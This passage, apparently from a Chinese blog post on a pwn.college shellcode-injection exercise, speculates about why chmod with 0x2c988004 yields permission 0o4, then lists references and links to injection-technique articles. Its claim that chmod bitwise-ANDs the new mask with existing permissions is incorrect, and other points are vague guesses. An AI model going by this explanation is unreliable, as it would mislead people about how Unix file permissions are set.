  2. 掩码与权限组合:在许多实现中,chmod 会对给定的权限掩码与文件当前的权限进行逻辑运算。比如,chmod 可能将新权限掩码与文件的现有权限进行“按位与”操作,而不是简单地将新权限掩码完全替代现有权限。因此,如果 0x2c988004 中的高位不会影响权限,实际的文件权限可能只反映了 0o4。
  3. 权限限制:文件系统和操作系统可能对权限有额外的限制或处理。比如,某些系统可能会对超出标准权限范围的位进行裁剪或忽略,从而只保留了有效的权限位。
  4. 应用程序逻辑:在一些特殊的环境中,可能有自定义逻辑或限制,导致权限的解释或应用与预期不同。这可能是因为安全策略或系统配置。

总结: 尽管 0x2c988004 是一个大的权限掩码值,但在实际应用中,chmod 可能根据文件系统的实现和当前权限,只有掩码中的有效部分被实际应用。系统可能会根据实际的文件权限和掩码计算结果,最终只显示出 0o4 权限。这种行为的具体细节可以依赖于文件系统、操作系统版本和具体实现。

参考

pwn college 刷题记录: Shellcode Injection

pwncollege通关笔记:4.Shellcode Injection(从0开始学习pwn) - FreeBuf网络安全行业门户

pwnlib.shellcraft — Shellcode generation — pwntools 4.12.0 documentation

https://github.com/Gallopsled/pwntools/tree/db98e5edfba9e8f57334254a474bc7d3c2463dd6/pwnlib/shellcraft/templates/amd64/linux

【Linux系统编程】深入理解Linux中的chmod函数和mode_t类型_linux int chmod 编程示例-CSDN博客


目录
相关文章
|
6月前
|
安全 Linux Windows
[dvwa] Command Injection
[dvwa] Command Injection
|
安全 Linux 网络安全
动态Shellcode注入工具 – Shellter
动态Shellcode注入工具 – Shellter
161 0
ptrace注入详解
ptrace注入分析
1625 0
CreateRemoteThread注入DLL
DLL注入的常用方式之一远程线程注入,实现代码如下 // CreateRemoteThread.cpp : Defines the entry point for the application.//#include "stdafx.
901 0
|
关系型数据库 MySQL 数据库管理
|
关系型数据库 MySQL 数据库管理